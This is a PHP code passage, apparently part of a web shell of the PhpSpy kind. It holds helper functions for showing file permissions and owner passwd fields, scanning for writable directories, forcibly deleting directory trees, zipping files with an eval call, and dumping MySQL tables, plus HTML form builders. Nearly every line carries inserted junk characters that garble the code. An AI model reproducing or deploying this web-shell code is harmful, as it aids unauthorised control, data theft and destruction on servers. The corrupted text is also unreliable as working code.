- $group['read'] = ($mode & 00040) ? 'r' : '-'; / e# Q4 p/ e, ]
- $group['write'] = ($mode & 00020) ? 'w' : '-'; 4 b& u! \# M/ s9 H; E3 [5 H3 P
- $group['execute'] = ($mode & 00010) ? 'x' : '-';
, k7 G( D P3 k* i! }5 G - $world['read'] = ($mode & 00004) ? 'r' : '-'; : ]. o4 G8 Z: }$ {6 i x7 d# @
- $world['write'] = ($mode & 00002) ? 'w' : '-'; , v4 i) y5 i+ v# ~! Z& a" v
- $world['execute'] = ($mode & 00001) ? 'x' : '-';
8 Y- g" j$ u. h; x; k - : P/ ~, H9 H. T+ S/ c. f
- if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}2 z% O6 D( _+ ?* H6 u9 w% n
- if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
, o7 D2 ~- b# \ - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
" l/ l: y9 E4 R; L1 m# g3 a -
& E+ l6 M% Q y+ }1 D - return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
# {& H6 w6 p. \* D - }/ J5 k1 G8 n1 l0 f
-
. h3 [. g& v* m - function getUser($filepath) {" i7 G' C7 U0 ?$ a0 ^
- if (function_exists('posix_getpwuid')) {% Q; E) ~, p% L6 G( r
- $array = @posix_getpwuid(@fileowner($filepath));
6 u8 s2 W6 U% {, I7 i) r - if ($array && is_array($array)) {
' c+ H0 d# E9 T/ e - return ' / <a href="#" title="User: '.$array['name'].'$ J; q! Y0 N# B3 D6 U/ I9 A* d# K
- Passwd: '.$array['passwd'].'
2 T5 n2 l4 o, n" c1 l8 o; X2 C6 m - Uid: '.$array['uid'].'; j: O2 t' L9 C. ?$ G6 q
- gid: '.$array['gid'].'
: {. Q' ~, H, e0 g - Gecos: '.$array['gecos'].'+ t8 b& l$ K5 h# x( }/ g) r
- Dir: '.$array['dir'].'
1 l3 x5 T6 f, y6 H6 \( q5 s - Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1 I% \6 K$ O8 R# g% d# z - }
9 i- u; L( G; S4 h) z# y9 \ - }
- J' \1 W; c8 Z) ?( c# ` - return '';
& X3 X' O- `; ]; t - }8 `; p2 P4 X0 c
-
! b4 C( k0 l0 J3 I - // 删除目录
+ t; A; Y$ D" [- T% ~, Q3 ] - function deltree($deldir) {! y: z% q3 a3 {. A {3 l6 Y
- $mydir=@dir($deldir); / h! B, i4 g0 W, s2 K
- while($file=$mydir->read()) { ! I! `* K7 B3 r$ ?9 M8 x' Q
- if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
/ H* }4 A$ ~" q0 h) z2 `* W - @chmod($deldir.'/'.$file,0777);
+ w9 L. j, L: n3 Y7 D4 \. D7 M0 T - deltree($deldir.'/'.$file); 4 i, x" i( ^0 }
- }& h! D( e/ ]9 L) c$ X
- if (is_file($deldir.'/'.$file)) { B* T3 A8 W" O: \# m% Y! N
- @chmod($deldir.'/'.$file,0777);) @9 t3 {7 e; }' B
- @unlink($deldir.'/'.$file);! R0 n1 C- E0 [
- } M: E; s- n8 E
- } 4 Y( U# D0 A. G$ y+ f% G0 S
- $mydir->close();
+ v9 s8 n. \1 m1 R- k - @chmod($deldir,0777);
/ ?% N/ {# z; t - return @rmdir($deldir) ? 1 : 0;2 S, [1 B/ i0 Z' k: ]
- }
" i! s3 o4 y' _ -
5 o0 g: x. `3 W - // 表格行间的背景色替换
) v% }9 `- T2 o( N O! y' W+ p% e - function bg() {$ ~7 H5 Q2 M* @ N+ U
- global $bgc;
: C, @3 g1 W9 w' {8 l9 W - return ($bgc++%2==0) ? 'alt1' : 'alt2';/ n3 E3 a% W: u) w
- }
" Q" d5 F7 c; L8 X0 p - 2 c8 c) Q1 Y4 X
- // 获取当前的文件系统路径
0 U7 E$ a# A- z, D5 R; u - function getPath($scriptpath, $nowpath) {# |! N# B8 P# V
- if ($nowpath == '.') {
- d+ {: s- h1 u+ J2 R. ? - $nowpath = $scriptpath;) X1 S& p* H; D! L9 v# b6 D
- }8 i1 s% ^3 o4 ~* W$ P) ]
- $nowpath = str_replace('\\', '/', $nowpath);
# r2 ]7 p* n x: f9 { - $nowpath = str_replace('//', '/', $nowpath);
2 ~& q( b& A, J" F6 E; S - if (substr($nowpath, -1) != '/') {
- X; A- H8 k7 y3 j( ~6 `. P7 L - $nowpath = $nowpath.'/';
* }8 C2 U3 ?8 s( n! d& k - }
- e6 |; b0 ]8 k - return $nowpath;
6 C0 J2 @1 A, q$ }, K - }
7 [/ M) {1 W" R9 s4 T2 ?7 h -
3 g" B0 f% V7 ~2 W& ?" d% s - // 获取当前目录的上级目录+ v8 Z$ H' J: a: K: X2 Y
- function getUpPath($nowpath) {
# q! X, S1 t3 ~/ K - $pathdb = explode('/', $nowpath);% v! Y/ L4 D9 l9 M. s2 N1 v( {- x
- $num = count($pathdb);
6 w/ D+ R4 `9 l, E - if ($num > 2) {) I3 \3 j, @- B8 R
- unset($pathdb[$num-1],$pathdb[$num-2]);# H" A3 r* w% k9 G2 C
- }
% S" w$ B% K' `0 F5 w0 B6 x' }8 f9 R2 M - $uppath = implode('/', $pathdb).'/';
$ s; m& h5 i1 m/ i+ M - $uppath = str_replace('//', '/', $uppath);9 g* u. s- V* T8 {! M; P
- return $uppath;
) E% H1 ] ?* s5 j3 u& C1 k* a; B - }
: q+ l2 C2 `. m- w$ {5 H - 9 o7 `2 W+ n, n5 n$ \, B
- // 检查PHP配置参数
. x Z9 K" F+ W - function getcfg($varname) {) I/ N7 \0 x- S) m3 X Q' q( U
- $result = get_cfg_var($varname);
" D" p, H$ u9 U+ V8 s G& H/ c - if ($result == 0) {: g! o8 i! H. e) u# m$ V A) j* s
- return 'No';2 _7 @* d+ B) X% c
- } elseif ($result == 1) {
2 Q5 \/ w$ l. [ ?* O+ h5 O z - return 'Yes';# u- x# E+ u6 V4 J" ~
- } else {
2 f7 {% ?" q7 A) S1 V/ P - return $result;
' C# C- }* f1 P - }
, e& B- O8 Y4 J: H( s1 \ - }! h J) u4 j. c( P
-
& {6 n- ]/ v9 I) A - // 检查函数情况7 j( u A$ O) h; z7 c3 s$ V
- function getfun($funName) {# q# P4 I) z! K2 R* G8 E: Y+ K* d- ]9 p
- return (false !== function_exists($funName)) ? 'Yes' : 'No';
; N' I) p. G# o/ |& U6 S, Z - }9 Y: C4 G S9 @$ e) g
- $ `! j6 f }6 s: N
- function GetList($dir){- D) d' w# c0 e, M# `8 u4 t
- global $dirdata,$j,$nowpath;
* }4 E8 d' Q! F% H - !$j && $j=1;7 i8 k$ a ?" O7 a! t
- if ($dh = opendir($dir)) {$ z v4 I7 J) N) u
- while ($file = readdir($dh)) {1 r( R9 o% E4 e# S! U: ^
- $f=str_replace('//','/',$dir.'/'.$file);) K6 D W" [; V# T/ c/ ]
- if($file!='.' && $file!='..' && is_dir($f)){
7 B0 S; H, C$ G: b3 \8 f5 e - if (is_writable($f)) {. p+ ?( R; |& [: O1 z+ P! H9 d7 V
- $dirdata[$j]['filename']=str_replace($nowpath,'',$f);) O4 H4 r* s% ]
- $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); Y1 F, m. Z0 t3 q0 j) E5 H
- $dirdata[$j]['dirchmod']=getChmod($f);
$ e0 k& [7 D o, B7 T1 N - $dirdata[$j]['dirperm']=getPerms($f);
/ \9 w I% Z# Y- Q6 B v, D5 x - $dirdata[$j]['dirlink']=ue($dir);
( y% e; X" q: o. W' z7 o6 B - $dirdata[$j]['server_link']=$f;
+ h& p3 _% u- j% E$ e' ^3 |; u7 |5 _ - $dirdata[$j]['client_link']=ue($f);
8 c/ x! |4 y0 b3 I9 d - $j++;
- Z9 _" t! F$ _; w, P- l. l/ k - }
- t" J8 W+ a& Y6 i2 B9 N7 G* ~- ~ - GetList($f);
4 M' Z" o# ]' v0 U - }
# h+ M" }8 ?# l1 D8 M; O( M7 @ - }
& [ I( s( L' q# A - closedir($dh);
$ q' D5 ?; E" E Y k& |& x4 @ - clearstatcache();8 O+ N0 J& o. w3 \( V1 j# {- ]
- return $dirdata;( ~! K$ {( ]) j! V( j0 u8 d5 `' |0 [" _
- } else {7 u) I9 P" J7 v2 w7 [
- return array();
. c1 [, P6 d# P - }6 T9 I. o) P. M, ^% a& i
- }
% p/ B0 n9 J6 U7 O - $ S7 Y* _" J4 Y
- function qy($sql) {
y7 T2 Y3 p1 `. t+ W& f - //echo $sql.'<br>';
8 q7 P4 N# ^$ m" [4 q - $res = $error = '';
# R( `3 X! p" \4 a+ Z* r( W - if(!$res = @mysql_query($sql)) {
4 K4 R4 e' ?1 n - return 0;
5 r9 [$ e2 k( X6 @1 {( _ - } else if(is_resource($res)) {
+ X$ E& J# u5 e - return 1;
9 O0 X' N# v4 F2 e# a; r5 n$ G - } else {
, `8 @9 z( R3 F* ~3 x7 [% c% H - return 2;
# q! U! U- {# s$ ] - } # w+ \! d" `# ~1 `$ O2 N0 E
- return 0;
0 W8 s+ L2 l" v6 I% {! O - }& `5 y8 |6 c5 Z. R5 {. f. S& \0 x
- , @6 D# k& r. a
- function q($sql) { 0 R7 ^/ {$ H0 C5 q; w. s) C/ r3 ~
- return @mysql_query($sql);% \: V0 @* ?# S z
- }$ u" h" @, e/ o/ c) a% C
-
% h3 _( K a: i( Q) w# @/ w - function fr($qy){$ h& G" f! h8 P3 o% j$ ~& M8 D- w
- mysql_free_result($qy);, S4 e" |2 Q; p' T. S1 G+ V: S) A
- }+ {1 H8 F- i3 S- P. N
- 3 C& Q0 C! W) G5 D3 x) _
- function sizecount($size) {
5 H4 o% y2 I; G X7 { - if($size > 1073741824) {
+ A! o2 g7 A1 p - $size = round($size / 1073741824 * 100) / 100 . ' G';9 |0 W i$ x) l
- } elseif($size > 1048576) {2 o" L6 @* D S! }
- $size = round($size / 1048576 * 100) / 100 . ' M';
% L4 N7 ?0 t; U7 B8 A; J - } elseif($size > 1024) {" V# O- x" V' a `1 R5 V4 Z
- $size = round($size / 1024 * 100) / 100 . ' K';) M: v n7 p% Y
- } else {* x4 O) q8 `( ]0 u& s8 d
- $size = $size . ' B';8 i& ?1 w& c% T' v% i: y: @; u
- }
1 A. x- y9 u9 c/ ?) G& F! C- | - return $size;& ?# D& P7 w0 C: Y. }
- }* j, F1 c" v* m3 {0 B
-
e* y! I" _0 B# A5 U3 X - // 压缩打包类& ]# j- y# a2 v/ i; k3 X
- class PHPZip{
9 L; t, G7 _6 [- ?2 V, t - var $out='';2 P5 ^" M! r; t# o; h) F& Z
- function PHPZip($dir) {
" M4 r3 O6 A. ~) M/ x- h - if (@function_exists('gzcompress')) {2 I& K+ ?/ d& d, {8 A$ C
- $curdir = getcwd();* I1 S7 ]- d- |& {" ?# w
- if (is_array($dir)) $filelist = $dir;
9 U2 C3 j4 W. Y* y5 p* O+ ] - else{
5 z2 m9 P2 a; T6 ^( }9 E" p( {: D* H( ~ - $filelist=$this -> GetFileList($dir);//文件列表, R- M2 t" v! ]& D: i) o* ?
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);# c- d0 V0 e( y: H; o
- }$ T3 B7 u1 l1 n
- if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
& n( l+ a6 c2 E, R2 x5 j0 E - else chdir($curdir);
" |0 w/ `; m; y/ c - if (count($filelist)>0){+ N$ E; o4 L( b% Z0 X: ~) C
- foreach($filelist as $filename){+ f! u5 q$ N; y+ g0 Y- m. U% L
- if (is_file($filename)){
* b! {# p( C' O2 n; x - $fd = fopen ($filename, 'r');' W# r4 F( f. o! b, V/ \
- $content = @fread ($fd, filesize($filename));
2 T. }/ q" m' N) Y& R' c4 }5 h - fclose ($fd); ~/ Z' o& V3 [) x$ ]
- if (is_array($dir)) $filename = basename($filename);. S; E- n! h2 r/ i6 S! B& K# q
- $this -> addFile($content, $filename);
! P! _7 i1 @, Y& h' n f0 a# B) Z - }
" \4 {# ^: g+ W# c! H5 x - }
& y% `8 V; }; _, S - $this->out = $this -> file();1 _& }$ T9 i: I9 f8 Y9 t; x$ I) [
- chdir($curdir);
1 O. R% `! t3 G" \% F - }4 _ D b Q1 i& l4 F. T
- return 1;; E+ F; e8 `) E( u8 l
- }5 y% Z# i$ T4 c
- else return 0;
1 @! C# u7 Y! E7 f, u" @3 }# Y - }
! b- s: g2 t( V) K8 F3 E - 9 @% l$ M0 T# u+ r
- // 获得指定目录文件列表
1 n1 W) G; S, i2 e% l# g+ E - function GetFileList($dir){5 j4 s" z: z1 i$ A9 U3 X; C
- static $a;
% _- R% O- H6 M# j5 p( U - if (is_dir($dir)) {2 X- u: i8 k0 |; f. P/ t
- if ($dh = opendir($dir)) {
3 z% g0 U8 \( u/ S# v - while ($file = readdir($dh)) {1 y+ y7 Q r j- o
- if($file!='.' && $file!='..'){
% b8 V8 l5 G3 `' ~ s, N - $f=$dir .'/'. $file;. s7 ]* z/ g. H! ~9 M' [
- if(is_dir($f)) $this->GetFileList($f);4 f, u% u6 ?1 ~6 i# a- U
- $a[]=$f;3 i% a% A' [$ b7 z! Z
- }& x; Z& H0 O3 p7 t% P, c
- }) u2 P [( [' Y! a
- closedir($dh);
6 x2 x0 i$ J1 O+ `! T - }
* b2 u7 H4 T' |: b% l - }
' b) {5 f# M! {) L a - return $a;3 i7 z2 C* i1 ^- e( x
- }, v7 c5 t/ E: p, ?$ N5 M
-
5 q+ Z6 ~# ?- M T# j Y - var $datasec = array();3 t, J- t: P/ `
- var $ctrl_dir = array();, k* a, R0 c; b n$ j, q
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
& Z- ` t, j" D6 p/ o - var $old_offset = 0;8 m( O; P# r3 A* G! V! l
-
- {& `- P& R5 W7 S" K/ Y - function unix2DosTime($unixtime = 0) {0 T: J/ N, e2 e+ B3 T8 \3 |" `1 s0 M
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
5 o* N: l0 G4 g - if ($timearray['year'] < 1980) {
) a3 U- i# g: t1 D' n& q2 G( I - $timearray['year'] = 1980;
, e7 v; u& _2 t/ @ v8 p" S - $timearray['mon'] = 1;
* R7 S" N$ _0 S5 l! V6 H' L - $timearray['mday'] = 1;
. @- v9 ~# @' u6 [; F! [6 r - $timearray['hours'] = 0;
3 @+ U) o, c" t; ~ - $timearray['minutes'] = 0;; {0 a7 o* _2 P$ A7 s
- $timearray['seconds'] = 0;
7 O3 p+ @! L5 E$ g - } // end if
! {8 [, L/ ?; G, S/ ?$ C) V - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |. v3 O- _) A) v) z Z
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);' ?6 _+ T. \) V: @
- } ]9 G0 \4 w* p- Q
- function addFile($data, $name, $time = 0) {/ w) a& c) |& ?8 Z( T) I
- $name = str_replace('\\', '/', $name);) z& |1 l; [4 {2 Y! f( Q" |4 v
- $dtime = dechex($this->unix2DosTime($time));. M. }2 F5 L) k h% \# p+ Z
- $hexdtime = '\x' . $dtime[6] . $dtime[7]
3 ]; k2 S9 p& Z# g4 z4 |. P6 c - . '\x' . $dtime[4] . $dtime[5]
! m! e$ B" u3 v! I( }, N4 a - . '\x' . $dtime[2] . $dtime[3]0 W6 Z2 D# U; J$ s; @' S) V
- . '\x' . $dtime[0] . $dtime[1];' Y1 l: n& ~: X6 B$ G
- eval('$hexdtime = "' . $hexdtime . '";');8 D: n0 ^1 z; b/ X6 S) p5 ?
- $fr = "\x50\x4b\x03\x04";
/ X1 c/ `% V1 a5 g9 B - $fr .= "\x14\x00";
) ?, P- r7 U8 |# j4 }' ~ - $fr .= "\x00\x00";
; g- u3 r4 A6 a4 K - $fr .= "\x08\x00";; Z# }5 m% f- b6 }
- $fr .= $hexdtime;- {) w/ {3 Z& I" h4 a
- $unc_len = strlen($data);
, ?3 l1 u/ w. B - $crc = crc32($data);
" z% g o6 t! T8 j4 j) E5 r - $zdata = gzcompress($data);- ?) s9 k) \. S6 L- a* @
- $c_len = strlen($zdata);. p1 \2 W' I- v
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
; O# W+ `! A9 o# I+ Y8 ] - $fr .= pack('V', $crc);
: O* C, x+ Y2 }* Y6 X+ j& h0 a+ m - $fr .= pack('V', $c_len);
& | i' \- n, s$ v - $fr .= pack('V', $unc_len);
0 n4 y- k# m+ l0 S. h$ {# R7 y - $fr .= pack('v', strlen($name));
$ K! z4 }; W6 `- m* u - $fr .= pack('v', 0);
# e0 ^6 E& D& } - $fr .= $name;) ~- R2 ]5 `7 \4 E6 F6 J
- $fr .= $zdata;: K3 `- h" [4 L8 e4 a
- $fr .= pack('V', $crc);
. B1 c3 J1 p) X - $fr .= pack('V', $c_len);& B% z4 c2 s4 S! N/ q
- $fr .= pack('V', $unc_len);$ c0 ]9 p- t" V: e1 O% G
- $this -> datasec[] = $fr;, `: E% x* R( c; F7 w& \3 e* b4 G1 |- @
- $new_offset = strlen(implode('', $this->datasec));) Y6 N( ` s" {% Y
- $cdrec = "\x50\x4b\x01\x02";; A) p" O* `( v
- $cdrec .= "\x00\x00";
* i' {; b4 V1 M3 Z, `! n - $cdrec .= "\x14\x00";
4 ?- K' @' x" u - $cdrec .= "\x00\x00";
0 s: E8 w& b$ t) \( A) W% J! E - $cdrec .= "\x08\x00";
7 S1 w% a8 j* B - $cdrec .= $hexdtime;7 m+ B" T8 g/ K- K4 L1 j
- $cdrec .= pack('V', $crc);5 A4 b! r+ T$ |8 B! T
- $cdrec .= pack('V', $c_len);# P, p5 U) l" ~$ J( A3 X$ e0 w
- $cdrec .= pack('V', $unc_len);
% V2 n0 e! F' H' H/ P - $cdrec .= pack('v', strlen($name) );
! x2 |8 p# y! p. o5 ~' J9 s - $cdrec .= pack('v', 0 );3 M7 Y- b9 M5 |% i4 b$ A* [9 m
- $cdrec .= pack('v', 0 );
8 r" c/ R! ^! U' l$ F6 u4 W6 d( Z - $cdrec .= pack('v', 0 );
+ K* e, | e; o! D" r* {, Z2 Q) [5 E! G - $cdrec .= pack('v', 0 );6 c: l+ p3 n& I3 w
- $cdrec .= pack('V', 32 );
7 T6 c# W) _" G - $cdrec .= pack('V', $this -> old_offset );7 w4 T' K$ }* [4 Z2 ]+ K Z4 X
- $this -> old_offset = $new_offset;- F5 U: \2 K- @1 C
- $cdrec .= $name;& ?8 ?5 e3 Y, d
- $this -> ctrl_dir[] = $cdrec;
% D& [4 n: M# U s! X+ o - }; m4 H& `' C' g, s- ?
- function file() {
5 ^! ?3 l) [, t5 G5 x1 ~, w/ [: ?: a - $data = implode('', $this -> datasec);
4 _, G* h3 O0 p0 j - $ctrldir = implode('', $this -> ctrl_dir);
/ i! `9 V6 o2 H. u/ ?8 z' b - return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
% m. S! m- |$ B& d - }
! `2 B! `9 L7 K4 D& c* ] - }5 x+ e A3 A, R! ]: R6 @
- // 备份数据库
! O" N; P6 d1 k. D" y2 h1 i - function sqldumptable($table, $fp=0) {
* S4 m0 e% v: R - $tabledump = "DROP TABLE IF EXISTS $table;\n";
4 @$ {; i) X3 Q! G0 Q: r - $tabledump .= "CREATE TABLE $table (\n";7 l9 P" Z1 [, A. t
- $firstfield=1;$ P3 ^& K, ]5 q" B3 @
- $fields = q("SHOW FIELDS FROM $table");5 U% @; S: p% t+ g0 D7 P
- while ($field = mysql_fetch_array($fields)) {& {* _0 }6 l8 h. z
- if (!$firstfield) {) X9 a/ Z# K6 \! C* R1 \ R4 c; I
- $tabledump .= ",\n";1 o) k. }$ e8 M8 ~9 a
- } else {, [' G1 U; G" B7 Z p
- $firstfield=0;, i' x9 h( C7 r9 L
- }
% Y: |7 S" f7 k - $tabledump .= " $field[Field] $field[Type]";$ {1 D# K' L/ `5 B# p
- if (!empty($field["Default"])) {
8 R' F7 b% N8 z7 O1 [ - $tabledump .= " DEFAULT '$field[Default]'";
3 N. J% k1 {* B! M1 Q( Q - }# ~1 D O) K$ k" b, ` A
- if ($field['Null'] != "YES") {
) d# w) q+ f' ~& Q8 c - $tabledump .= " NOT NULL";, ?+ K3 n0 |# ~! T* w) o8 I
- }! D. U8 u0 O6 A, b, X3 x1 |( h
- if ($field['Extra'] != "") {
6 ]. m( z( M9 m1 a% }, x/ s1 @ - $tabledump .= " $field[Extra]";( ]: c# N3 t6 }' N* U
- }5 f, |% w" O5 s* l. z) L
- }
/ ~1 X1 T. i4 n8 ^" @ - fr($fields);
$ O+ V& L. K/ F - $keys = q("SHOW KEYS FROM $table");
. r# G& J, U, ^9 M - while ($key = mysql_fetch_array($keys)) {
9 U5 ]$ X% j9 J0 z - $kname=$key['Key_name'];
* ]* f7 j4 a- ~9 B - if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
( p( ?6 g/ C8 I7 ^6 K3 m - $kname="UNIQUE|$kname";
+ Y3 |3 V; m& ?5 C& j - }: {* }7 c4 _. }
- if(!is_array($index[$kname])) {
5 t+ P/ m: b" V5 ~ - $index[$kname] = array();6 k1 Z! c, W( z6 I0 `: ]5 i
- }; d' D. L* J! w9 S( e3 z
- $index[$kname][] = $key['Column_name'];3 P! O, V; r! X- z/ M" Q! N
- }# Z9 K1 d6 J9 d* ?! m# h* ^
- fr($keys);$ z3 v2 G$ F2 F5 A0 z1 {. D
- while(list($kname, $columns) = @each($index)) {
8 [/ I" K) H) z$ t - $tabledump .= ",\n";
, u+ A, Y7 i1 b$ x1 h" G- T - $colnames=implode($columns,",");# c% m, i* G+ T# g6 B8 h
- if ($kname == "PRIMARY") {9 b0 u1 J9 E3 ]9 H+ w& R- p
- $tabledump .= " PRIMARY KEY ($colnames)";
4 Y4 v4 M1 D( K7 O/ L9 X; T2 { - } else { a; }/ l( y7 q/ A# c% `8 Z
- if (substr($kname,0,6) == "UNIQUE") {: H7 S$ _. @ d% L+ G' x: n# j
- $kname=substr($kname,7);
U; B% M% B9 o; Z! s6 C" K, G9 m* E - }
/ F5 E* v+ s9 Y) T: y8 A - $tabledump .= " KEY $kname ($colnames)";+ U1 X! k) p1 ~
- }. P; N+ s% b, K( P3 `
- }
. f9 C( D2 L2 W) ?3 |# r3 L/ W9 x) J - $tabledump .= "\n);\n\n";
& R4 u' o/ w' R' E$ x3 e$ S - if ($fp) {
1 \4 c4 l. P1 L7 D - fwrite($fp,$tabledump);( a1 m" }2 A6 w* Q
- } else { `4 G7 _6 z) t+ c
- echo $tabledump;
6 f! m( \8 J& D0 [ - }
! ]# q& W1 d6 V7 p - $rows = q("SELECT * FROM $table");- u6 b% b/ B. i' S- X
- $numfields = mysql_num_fields($rows);
: f5 R1 ^- b2 f+ j* k @& [ - while ($row = mysql_fetch_array($rows)) {% z. |) I) {! H; h
- $tabledump = "INSERT INTO $table VALUES(";# d) @+ w) s$ W1 @/ w* x% W
- $fieldcounter=-1;/ O6 v5 h$ }. [7 l1 {
- $firstfield=1;
" z( @* G3 p ?0 | - while (++$fieldcounter<$numfields) {
7 V, B# w+ w3 q p/ I& B5 H - if (!$firstfield) {' q0 z1 P/ Y+ T$ @- o1 l# U
- $tabledump.=", ";# Y, q& X' {# D1 F) i5 w
- } else {
8 c) V" o/ o6 D% l8 \1 a - $firstfield=0;
* r5 Z% D: \0 `, F o - }
/ W2 @5 J6 S( s, c - if (!isset($row[$fieldcounter])) {
9 n8 R6 W4 u9 Q3 H5 i2 Q" e - $tabledump .= "NULL";
7 r3 N0 Y0 P% w6 h/ ^ - } else {
5 u. J7 F5 |+ |+ Y; r' X% R& j - $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";, e) S9 t4 H$ z, C: x
- }1 {: {1 |. c1 H: F/ I8 U7 t
- }
5 t* r5 S* w# Z2 p6 S - $tabledump .= ");\n";# Y6 a2 V) I6 [% ~7 W1 m( f- o6 \
- if ($fp) {: ^2 A6 I* ~3 t3 k. \: Z
- fwrite($fp,$tabledump);9 V/ _5 w. A. @% x+ w6 w
- } else {
$ R( T7 S5 B6 {# r" t8 c, @ - echo $tabledump;
! _. \" m+ t4 v2 \* ]0 k+ ^ - }, |+ m8 `4 x! a: a1 e' r# U5 |6 P
- }
; R" |5 x1 Z1 D - fr($rows);& [# ~6 J2 y7 J ?. c
- if ($fp) {
1 l+ g3 `" U8 X, M: h3 @/ M7 y+ X - fwrite($fp,"\n");+ R( c+ z- L: x! T5 X$ y6 P
- } else {3 P b. B& o3 A" o, W! q
- echo "\n";
( n" x& s5 N" U, w6 M - }$ f$ f, w% L% i2 h% v( o
- }
7 s# z3 c* _- I& t. }# G - function ue($str){
8 K6 x+ |& I4 y! t% a2 R - return urlencode($str);3 \+ g k- @; [) P
- }6 y2 r; U7 J0 q* _9 `* u+ D( M
- function p($str){
6 E$ z2 M# O0 O% X4 x3 g6 i- F v. F - echo $str."\n";
5 Y" ~' g1 w( U+ W8 `# i6 ] - }
1 C1 u& ^/ W0 X I9 n/ c - function tbhead() {
" l6 @$ G& c9 {. O1 S5 u/ v - p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
/ n% L( p! B0 p' ^9 i& F7 I: V+ F - }8 A _1 z( C! |- }" M: }) d
- function tbfoot(){8 j6 L6 ~& D8 Q1 e. v
- p('</table>');* b7 L8 s- [6 b' U1 ]6 a) G
- }6 O4 s$ w8 Y- E* C+ X
- function makehide($name,$value=''){
2 }4 ~& ^; s4 t5 d0 c - p("<input id="$name" type="hidden" name="$name" value="$value" />");
3 b# i" m0 L0 q6 } - }
* W4 v+ t- {8 O/ B: U P G - function makeinput($arg = array()){; v/ E, G" a4 A }0 l& S
- $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
) O/ ?# j! N; N' L - $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
) Y* e( {2 `; |, M - !$arg['type'] && $arg['type'] = 'text';
" ]8 X* U5 j: t( x' C) u6 F7 y - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1 `( y7 e* n# t& S9 p# _. A5 [1 v - $arg['class'] = $arg['class'] ? $arg['class'] : 'input';6 E/ ?; k' a& v6 H
- if ($arg['newline']) {. ~ n3 q- t6 ?, P9 L) k2 W; v
- p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");4 l3 t( s& d+ `2 f0 `% b
- } else {2 [8 V$ E( ]" f+ L
- p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");* R+ F, T5 }4 K' v
- }
$ |8 Z4 |: D5 N) z - }
G, V& b5 @7 M( n" b* L7 ` - function makeselect($arg = array()){
1 x' d$ h+ I2 @0 w( q - if ($arg['onchange']) {
3 z6 t/ o0 m, x9 i+ }6 F! {6 U - $onchange = 'onchange="'.$arg['onchange'].'"';; M9 F- t0 [: Y
- }( S3 C2 i, t- v7 |7 N* a
- $arg['title'] = $arg['title'] ? $arg['title'] : ''; z. q4 [' b/ ]6 t) x+ @2 v
- if ($arg['newline']) p('<p>');
. E9 {$ b& i- u: y - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");! k0 o7 ~ `; @: G: T' l$ h8 u1 U! M
- if (is_array($arg['option'])) {; ]' l' _) n7 V$ X7 i7 }; M
- foreach ($arg['option'] as $key=>$value) {1 I# U0 x t4 b' e
- if ($arg['selected']==$key) {- u2 F9 G! j$ J/ {* }1 S+ F, y
- p("<option value="$key" selected>$value</option>");& s% v7 H+ [9 T2 k y, n4 G
- } else {- Q7 Y) t2 Q7 U! |1 K9 V
- p("<option value="$key">$value</option>");
; Z. n1 _6 }5 F3 o2 R. p' z+ \0 A) ` - }4 n/ _, T; v, v6 i4 `$ u
- }5 M# u' L M R; p' ]
- }
, V4 T1 _8 l: `' y# J - p("</select>");
7 q8 f/ P( b* M% @( _3 i1 C - if ($arg['newline']) p('</p>');
3 P. q8 a3 N$ P - }, s5 Z; u: x5 a" d
- function formhead($arg = array()) {: H5 R2 l5 G" {1 ]& @+ B: S. c
- !$arg['method'] && $arg['method'] = 'post';( D) }8 {0 U5 {% r2 u/ u3 X
- !$arg['action'] && $arg['action'] = $self;
0 {" Y s9 N: l2 @ - $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';2 D0 ]8 V9 ^6 L: o0 V$ Q- n
- !$arg['name'] && $arg['name'] = 'form1';
: z/ W# [% n: Q3 D; B/ V5 L" d2 ` - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");. N' g& _+ F) L7 ?. Q
- if ($arg['title']) {; r9 |8 h* l0 \% m
- p('<h2>'.$arg['title'].' »</h2>');) `: }) y0 O% q
- }
1 G' D4 I7 Z/ ]6 M2 E - }: _- L+ {2 Z& G% U
-
9 C+ z6 u7 M% H$ p - function maketext($arg = array()){5 w4 k5 L6 x% R0 Z( ~( p) H- h+ ~) S
- !$arg['cols'] && $arg['cols'] = 100;
; o% U# @# K* ^! ^. |! v# j - !$arg['rows'] && $arg['rows'] = 25;
; R% }5 z. y" A3 v1 q9 | - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
